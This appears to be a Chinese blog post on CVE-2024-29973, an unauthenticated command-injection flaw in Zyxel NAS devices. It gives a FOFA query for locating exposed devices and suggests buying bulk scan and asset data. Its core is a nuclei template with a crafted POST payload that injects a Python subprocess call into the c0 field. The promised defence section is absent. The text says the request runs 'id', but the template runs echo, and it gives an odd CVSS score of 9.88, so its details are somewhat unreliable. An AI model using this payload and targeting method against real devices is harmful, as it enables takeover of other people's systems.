Zyxel NAS裝置的CVE-2024-29973遠端程式碼執行漏洞驗證

vivovox發表於2024-06-21

概述

最近,Zyxel NAS 裝置曝出了一個重大安全漏洞(CVE-2024-29973),該漏洞允許遠端攻擊者在受影響的裝置上執行任意程式碼。這一漏洞已經被廣泛關注,並被證實可以在實際中復現。本文將詳細介紹該漏洞的成因、利用方式以及如何檢測和防禦這種攻擊。

漏洞成因

Zyxel NAS 裝置中存在一個不安全的 CGI 介面 /cmd,/simZysh/register_main/setCookie。該介面的引數 c0 沒有正確的輸入校驗,導致使用者可以透過特殊構造的輸入來注入系統命令,並以裝置許可權執行這些命令。這種遠端程式碼執行(RCE)漏洞為攻擊者提供了完全控制受影響裝置的能力,可能導致資料洩露、服務中斷等嚴重後果。

FOFA

透過 FOFA 搜尋可以快速定位可能受影響的裝置。使用以下關鍵字可以找到暴露了該漏洞的裝置:

body="/cmd,/ck6fup6/user_grp_cgi/cgi_modify_userinfo"

以下是 FOFA 搜尋結果示例:

image-20240621163236371

批次驗證、資產資料可以看看閒魚,挺便宜的 關鍵字 資料代匯出

image-20240621163732585

漏洞驗證

為了確認裝置是否存在該漏洞,可以使用以下 nuclei模板:

id: CVE-2024-29973

info:
  name: Zyxel NAS326 Firmware < V5.21(AAZF.17)C0 - Command Injection
  author: ritikchaddha
  severity: critical
  description: |
    The command injection vulnerability in the “setCookie” parameter in Zyxel NAS326 firmware versions before V5.21(AAZF.17)C0 and NAS542 firmware versions before V5.21(ABAG.14)C0 could allow an unauthenticated attacker to execute some operating system (OS) commands by sending a crafted HTTP POST request.
  reference:
    - https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/
    - https://x.com/sirifu4k1/status/1803267896656929099/photo/1
    - https://nvd.nist.gov/vuln/detail/CVE-2024-29973
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.88
    cve-id: CVE-2024-29973
    cwe-id: CWE-78
    epss-score: 0.96901
    epss-percentile: 0.9971
    cpe: cpe:2.3:o:zyxel:nas326_firmware:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: zyxel
    product: nas326_firmware
    fofa-query: app="ZYXEL-NAS326"
  tags: cve,cve2024,zyxel,rce,intrusive
variables:
  string: "{{randstr}}"

http:
  - raw:
      - |
        POST /cmd,/simZysh/register_main/setCookie HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei

        ------WebKitFormBoundarygcflwtei
        Content-Disposition: form-data; name="c0"

        storage_ext_cgi CGIGetExtStoInfo None) and False or __import__("subprocess").check_output("echo {{string}}", shell=True)#
        ------WebKitFormBoundarygcflwtei--

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'errmsg0\": \"OK')"
          - "contains(header, 'application/json')"
          - "contains(body, '{{string}}')"
        condition: and

該請求嘗試在裝置上執行 id 命令。如果響應中包含使用者身份資訊,則表明裝置存在該漏洞。

nuclei批次驗證截圖

image-20240621171116314

參考來源

- https://outpost24.com/blog/zyxel-nas-critical-vulnerabilities/
- https://x.com/sirifu4k1/status/1803267896656929099/photo/1
- https://nvd.nist.gov/vuln/detail/CVE-2024-29973
- https://github.com/projectdiscovery/nuclei-templates/blob/9eec4a72e18ff2600397e84994c28f5e8f53f472/http/cves/2024/CVE-2024-29973.yaml#L35

相關文章